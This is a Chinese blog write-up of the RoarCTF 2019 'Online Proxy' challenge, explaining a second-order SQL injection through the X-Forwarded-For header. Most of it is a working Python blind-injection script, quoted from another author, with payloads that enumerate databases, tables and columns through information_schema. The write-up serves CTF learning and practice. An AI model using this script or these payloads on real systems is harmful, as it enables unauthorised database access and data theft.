[RoarCTF 2019]Online Proxy ip二次注入

打开题目发现hint有点像文件泄露,于是打算用伪协议下载一下各个源码

发现报错,以为是flag或者php被过滤了,于是我下别的html文件,依然如此……

用dirsearch扫描只出来两个文件一个db.php还有一个不记得去了(第二天写的wp),但是都没什么用

试了很久,发现没有https://就会报错

感觉这里不是切入点了,于是我抓包看看有没有别的信息

看到有个ip点,想着是不是SSTI,便试试X-Forwarded-For

发现可以控制Current ip,然后上一个ip就到了last ip里面,试试{{}}可不可以执行 

不行,往二次注入的方向想想,有一个Last ip肯定是有数据库存储数据的;在想会不会是二次注入,第一次将我们输入的current ip存储到数据库中,然后在Last ip这一块执行并显示,试试输入1'or'1'='1看看 

 没用……,实在找不到切入点,看看大佬的wp学习学习

第一次输入1'or'1'='1的时候会直接显示出来
第二次输入2,因为和第一次输入不同,于是第一次输入存入到数据库中,并显示在Last ip中
第三次输入2,因为和第二次输入相同,相当于模拟的ip不再变化,因此这个时候会在数据库中查找ip2的last ip,执行了查询操作,因此这个地方是我们的利用点了

先试试输入1'or'1'='1,再输入222两次试试结论

可以发现执行了操作,因为恒真就返回了1,尝试了一下这里直接构造查询语句返回的不是1就是0,看来需要盲注脚本了(这里注意cookie里面的trach_uuid,如果每次请求他不同的话,是不会和上一个会话联系在一起的,因此每次post请求必须带上cookie) 

这里贴上别人的脚本并分析了一下(感觉自己知道如何写,怎么构造,但是就是手动能力太差,必须要自己多实践了,不然没有wp后我连脚本都写不出来)

# coding:utf-8
import requests
import time
url = 'http://node4.buuoj.cn:28219/'

res = ''
for i in range(1,200):
    print(i)
    left = 31#二分法快速查找关键字
    right = 127
    mid = left + ((right - left)>>1)
    while left < right:#盲注,利用substr将查询到的字符切割,用ascii函数转化为ascii码,利用二分法的中间值比大小直到查询成功
        #payload = "0' or (ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))>{}) or '0".format(i,mid)
        #payload  = "0' or (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema = 'F4l9_D4t4B45e'),{},1))>{}) or '0".format(i,mid)
        #payload  = "0' or (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name = 'F4l9_t4b1e'),{},1))>{}) or '0".format(i,mid)
        payload = "0' or (ascii(substr((select group_concat(F4l9_C01uMn) from F4l9_D4t4B45e.F4l9_t4b1e),{},1))>{}) or '0".format(i,mid)
        headers = {#第一次请求,是用我们的payload,防止cookie被刷新因此我们头部请求的时候必须要带上cookie
                    'Cookie': 'track_uuid=6e17fe5e-140c-4138-dea6-d197aa6214e3',#带cookie防止刷新重置
                    'X-Forwarded-For': payload
                    }
        r = requests.post(url = url, headers = headers)#头文件传输方法

        payload = '111'
        headers = {#后面就是相同cookie的二次三次输入,只为了执行第一次payload的查询语句
                    'Cookie': 'track_uuid=6e17fe5e-140c-4138-dea6-d197aa6214e3',
                    'X-Forwarded-For': payload
                    }
        r = requests.post(url = url, headers = headers)

        payload = '111'
        headers = {
                    'Cookie': 'track_uuid=6e17fe5e-140c-4138-dea6-d197aa6214e3',
                    'X-Forwarded-For': payload
                    }
        r = requests.post(url = url, headers = headers)


        if r.status_code == 429:#buu特色
            print('too fast')
            time.sleep(2)
        if 'Last Ip: 1'  in r.text:#payload语句用的都是大于,如果大于中值,则中值加一赋给最小值
            left = mid + 1
        elif 'Last Ip: 1' not in r.text:#不小于则中值给最大值
            right = mid
        mid = left + ((right-left)>>1)#右移1,代表除2 可以直接mid=(left +right)//2
    if mid == 31 or mid == 127:
        break
    res += chr(mid)#chr函数。ascii转化为字符
    print(str(mid),res)
    time.sleep(1)
# information_schema,ctftraining,mysql,performance_schema,test,ctf,F4l9_D4t4B45e
#F4l9_t4b1e
#F4l9_C01uMn

注意我们本身所在的数据库里面没有flag,在另一个数据库里面,因此用到了 information_schema.schemata库来查找所有的数据库

感觉也见过很多盲注脚本了,要自己找时间练练了 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值